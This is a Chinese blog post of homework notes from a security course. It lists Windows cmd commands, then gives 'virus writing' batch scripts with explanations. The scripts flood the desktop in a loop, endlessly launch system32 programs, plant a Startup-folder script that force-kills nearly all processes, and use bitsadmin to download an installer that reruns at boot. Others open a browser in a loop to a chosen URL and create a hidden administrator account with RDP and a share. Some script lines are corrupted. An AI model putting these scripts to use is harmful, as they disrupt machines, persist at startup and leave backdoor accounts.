泷羽sec----windows基础学习课后作业
声明! 学习视频来自B站up主 泷羽sec
有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页B站泷羽sec
一、命令盲打
声明! 学习视频来自B站up主 泷羽sec 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页B站泷羽sec
命令 | 作用 |
---|---|
cd | 主要用于切换目录 |
dir | 主要用于显示目录或文件 |
md | 用于创建文件夹,mkdir的缩写 |
rd | 用于删除文件夹,rmdir的缩写 |
find | 主要用于搜索文件或在文件中搜索字符等操作,配合参数使用效果更好 |
cmd | 用于打开一个命令行窗口 |
copy | 复制文件到某位置 |
mv | 移动文件到某位置 |
del | 删除文件或文件夹,这个删除是永久删除,不会进入回收站 |
tree | 以树状图的形式展开指定的文件夹中的文件或文件夹 |
type | 主要用于查看文本中的信息 |
tasklist | 查看正在运行的进程列表 |
taskkill | 杀死进程的命令,参数很多,/fi "pid ne 1" 是指杀死pid进行不为1的其他进程,/f 强制杀死 |
start | 开启某个应用程序,在c:\windows\system32中有的exe文件,都可以直接打开 |
reg | 操作注册表的命令 |
nslookup | 用于查看解析DNS的命令,也可以反解析,或 -d查看历史解析数据 |
ver | 查看计算机的版本信息等 |
winver | 图形化的界面显示计算机的版本信息 |
ipconfig | 用于显示计算机的网络状态,网卡等信息,/all会显示详细信息 |
cls | 清空当前命令行界面 |
ping | 常用于测试主机是否存活等,采用ICMP协议 |
shutdown | 用于关机、重启,配合参数可以延时等效果 |
logoff | 注销操作,进行远程登录的使用,可以把别人挤掉 |
arp | 显示计算机中的arp与ip的映射表 |
at | 常用于定时任务,指定时间执行某种操作 |
systeminfo | 显示计算机的系统信息 |
msinfo32 | 图形化界面显示计算机的系统信息 |
set | 用于查看环境变量 |
ren | 文件重命名的命令 |
echo | 用于输出信息,配合> 可以达到创建文件的效果。还有%username% 当前用户信息;%userprofile% ,输出当前用户的主目录;%path% 计算机中path的环境变量;%temp% 计算机临时目录的路径 |
net | 可用于开启/关闭服务、创建/删除用户/组、提权用户到管理员组等。如net start/stop ssh 关闭或开启ssh服务;net user test$ 123 /add 创建隐藏用户test$ ,密码为123。隐藏是使用命令net user 看不见有这个用户;net localgroup administrators test$ /add 把用户test$ 添加到管理员组,权限就提升了。net share 查看计算机当前的共享文件,可以创建共享文件夹net share aaa=c:\windows 就是创建一个名为aaa 的共享文件夹。 |
主要要学会查看帮助文档,或者百度。但是这个命令是干什么的一定要知道
二、病毒编写
实验一
想法1:大量复制文件到桌面位置,并修改格式为MP4的形式,使得桌面爆满,然后再删除桌面的文件,再复制再删除
@echo off
start /min copy c:\windows\system32\*.exe %userprofile%\Desktop\*.txt &© c:\windows\system32\*.dll %userprofile%\Desktop\*.txt
ping -n 4 127.0.0.1 > null
del %userprofile%\Desktop\*.txt
ping -n 4 127.0.0.1 > null
%0
分析:
复制文件到桌面,然后过几秒再删除,然后再复制。当然可以继续深入,比如复制到桌面的文件排布成文字等
1 start /min copy c:\*.exe %userprofile%\Desktop\*.txt &© c:\*.dll %userprofile%\Desktop\*.txt
start /min
:是用来以最小化窗口的方式启动一个新进程。这里启动的新进程执行的操作是后面跟着的文件复制操作。copy c:\*.exe %userprofile%\Desktop\*.txt
:这是一个文件复制命令,尝试将C:
盘根目录下的所有.exe
文件复制到当前用户桌面目录下,并将目标文件命名为以.txt
为扩展名的文件。&&
:这是一个逻辑与运算符,在批处理脚本中,它表示只有当前面的命令(即copy c:\*.exe %userprofile%\Desktop\*.txt
)成功执行后,才会接着执行后面的命令(即copy c:\*.dll %userprofile%\Desktop\*.txt
)。
2. ping -n 4 127.0.0.1 > null
这行命令执行的是一个ping
操作,ping
通常用于测试网络连接情况。这里的-n 4
参数表示发送 4 个ping
包。目标地址是127.0.0.1
,这是本地回环地址,也就意味着实际上是在本地进行一个模拟的网络连接测试操作。> null
表示将ping
命令的输出重定向到空设备(null
),这样就不会在命令行窗口中显示ping
操作的结果,起到了隐藏这部分操作输出的作用。
3. del %userprofile%\Desktop\*.txt
这是一个文件删除命令,用于删除当前用户桌面目录下所有以.txt
为扩展名的文件。
4. %0
在批处理脚本中,%0
通常代表当前正在执行的批处理脚本文件本身。这里单独出现%0
,可能是为了重新执行整个批处理脚本,实现一种循环执行的效果,不断重复前面的一系列操作(文件复制、等待、删除等)
实验一截图:
桌面的原本样子
执行脚本后的样子
实验二
想法2:根据之前打开cmd的代码,为什么可以打开cmd呢,打开其他的呢,想想还有什么可以打开。在c:\windows\system32
目录下,有可以通过命令行直接打开的应用程序,如cmd
就放在这里,不过存放方式是以.exe
文件存储,那么这个目录下的应用程序都可以打开
@echo off
set "dir=C:\windows\system32"
:1
for %%f in ("%dir%\*.exe") do (
start "" "%%f"
)
goto 1
分析:
@echo off
:关闭命令行回显,使脚本运行时只显示执行结果相关的输出,不显示具体命令内容。set "dir=C:\windows\system32"
:设置变量dir
来指定包含要打开的.exe
文件的目录路径。:1
:定义了一个名为1
的标签,作为循环的起始标记。for %%f in ("%dirPath%\*.exe") do (start "" "%%f")
:通过for
循环遍历指定目录下的所有.exe
文件,并使用start
命令逐个打开它们。goto 1
:在完成一次遍历并打开所有可执行文件后,无条件跳转到1
标签处,从而实现无限重复执行打开操作的效果。
实验二截图:
再经过一次次的打开后,系统自动重启了,那么就可以写入到启动目录,打开电脑就会这样,理论上可以无限重启。不过实际应用时,发现在某个阶段,会停止,这时候只要用户不去想着关闭这些打开的应用,是可以正常使用电脑的,这时候也就可以排查问题
实验三
想法3:构造一种开机就会把电脑中的所有进程杀死,看会有什么效果
@echo off
echo ========"记住这个号码:119110120"=======
color 2f
ping -n 2 127.0.0.1>null
color 3f
ping -n 2 127.0.0.1>null
color 4f
ping -n 2 127.0.0.1>null
color 5f
echo start /b ping -n 10 127.0.0.1 > "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.bat"
echo taskkill /f /fi "pid ne 1" >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.bat"
ping -n 10 127.0.0.1>null
:1
start cmd
goto 1
分析:
首先提示信息,然后通过无限开启cmd让目标自己关机重启。然后把杀死进程的命令输入到当前用户的启动目录中,等待开机,就会蓝屏,直接输入taskkill /f /fi "pid ne 1"
确实蓝屏,但是实际重启后,我的机器确实相当于杀死了explorer.exe
这个进程
/f
:这个参数表示 “强制(force)” 终止进程。当使用这个参数时,系统会立即终止指定的进程,而不会给进程机会来进行清理或保存数据等操作。例如,如果一个程序正在保存文件,使用/f
参数可能会导致文件损坏,因为进程被强制结束,没有完成正常的关闭流程。/fi
:/fi
是 “filter(筛选器)” 的意思。它用于指定筛选条件来确定要终止的进程。在这个命令中,后面跟着一个筛选条件表达式。"pid ne 1"
:这是筛选条件部分。pid
代表 “进程标识符(Process ID)”,是系统分配给每个进程的唯一数字标识。ne
是 “not equal(不等于)” 的缩写。所以"pid ne 1"
的意思是筛选出进程标识符不等于 1 的进程。进程 ID 为 1 的进程在 Windows 系统中有特殊用途(在 Windows 中,进程 ID 1 通常是 System Idle Process,它表示系统空闲时间的百分比),这个命令就是要终止除了进程 ID 为 1 之外的其他进程。
实验三截图:
这个可能编码问题,这里是在物理机上打出的字,复制到实验机上的,可能有问题,这段话的意思是请记住这个号码
这个就是让目标重启机器,或者使用上面实验二的,或者可以在代码中让他直接shutdown
这个就是杀死进程的pid
不为1的其他进程,不过这里就是重启执行的不是蓝屏,在正常时执行这个bat
文件,是直接导致蓝屏的
实验四
想法4:下载360,然后放入启动项中,开机安装,利用安装软件时的一个弹窗,使得一直有该弹窗
@echo off
start /min bitsadmin /transfer test /download /priority foreground https://sfdl.360safe.com/inst.exe %userprofile%\desktop\app.exe
tineout /t 5 >null
copy %userprofile%\desktop\app.exe D:\
del %userprofile%\desktop\app.exe
echo :1 > "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.bat"
echo start D:\app.exe >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.bat"
echo goto 1>>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.bat"
分析:
使用windows中自带的下载命令,去下载一些软件等,这里只是进行一方面的操作,但是还有其他的操作,例如提供一个大体积的垃圾网络资源,去下载,就
会导致占用带宽,影响网速,甚至下载好之后还会占用磁盘空间
bitsadmin
在windows中默认存在的,可以用来下载东西
foreground
优先级
- 当设置为
foreground
优先级时,下载作业会被赋予最高优先级。这种优先级的下载任务会占用相对较多的系统资源,并且会尽可能快地完成下载。这种方式适合需要尽快完成下载的紧急情况,但可能会对系统中其他正在运行的网络相关任务产生一定的影响,因为它会抢占更多的网络带宽和系统资源来完成下载。
high
优先级
high
优先级仅次于foreground
,它也会让下载作业在资源分配上得到较多的倾斜。
low
优先级
- 当设置为
low
优先级时,下载作业会在系统资源分配(尤其是网络带宽)中处于较低的优先级。
normal
优先级
- 表示下载优先级为正常
实验四截图:
可以看到运行后,下载了软件。主要这个延时timeout
不知道怎么最小化,太明显了
删除下载的软件,并复制D盘中,因为一般D盘并不需要高权限,所以复制在D盘,然后把bat
文件输出在启动中
然后等待重启,就能执行了,安装软件会有一个提示进行询问,这里不管选择是或者否都会一直弹出
但是点击图中的红色部分,就可以跳过这个弹窗
进入这个界面,这时候就不在强制怎么样了,可以正常的使用电脑,排查问题
实验五
想法5:当用户打开了某个应用程序,也就是在进程列表中有这个进程时,会自动打开浏览器,然后可以指定目标网址,然后无限打开,但是可以延时几秒弹出,就有点像一些广告
@echo off
:1
tasklist | find /i "explorer.exe"
if errorlevel 1 (
goto 1
) else (
start "" "C:\Program Files (x86)\Internet Explorer\iexplore.exe" "www.baidu.com"
timeout /t 2 > null
goto 1
)
分析:
从进程中寻找有无指定的进程运行,如果有,就打开浏览器,并指定打开浏览器自动访问设定的网址,这个网址可以是吸引人点击的漏洞网址,点击后会下载木马等,或者会把当前计算机的信息发送出去,或者提高一些网址的访问量等等
tasklist | find /i "explorer.exe"
:
tasklist
命令用于列出当前正在运行的进程。|
是管道符号,将tasklist
的输出传递给下一个命令。find /i "explorer.exe"
在输入中查找不区分大小写的字符串 “explorer.exe”
if errorlevel 1
:
errorlevel
是一个特殊的环境变量,用于检查上一个命令的返回码(退出状态码)。if errorlevel 1
表示如果上一个命令的返回码大于或等于 1,则条件成立。- 返回码通常用来表示命令执行的结果,0 一般表示成功,非零值可能表示各种错误情况或特定的状态。
实验五截图:
想法6:打开smb服务,创建隐藏用户,然后加入到管理员组,然后可以共享文件,或者打开3389服务,然后使用隐藏用户登录(需要运用程序的目标是有高管理的权限)
@echo off
net start smb
net user test$ 123 /add
net localgroup administrators test$ /add
net start termservice 3389
net share test=c:\windows
因个人计算机问题,只能装win7,win10太大,所以反推机制暂时不做,但是问了ai
本文来自博客园,作者:whitehe,转载请注明原文链接:https://www.cnblogs.com/whitehe/p/18578441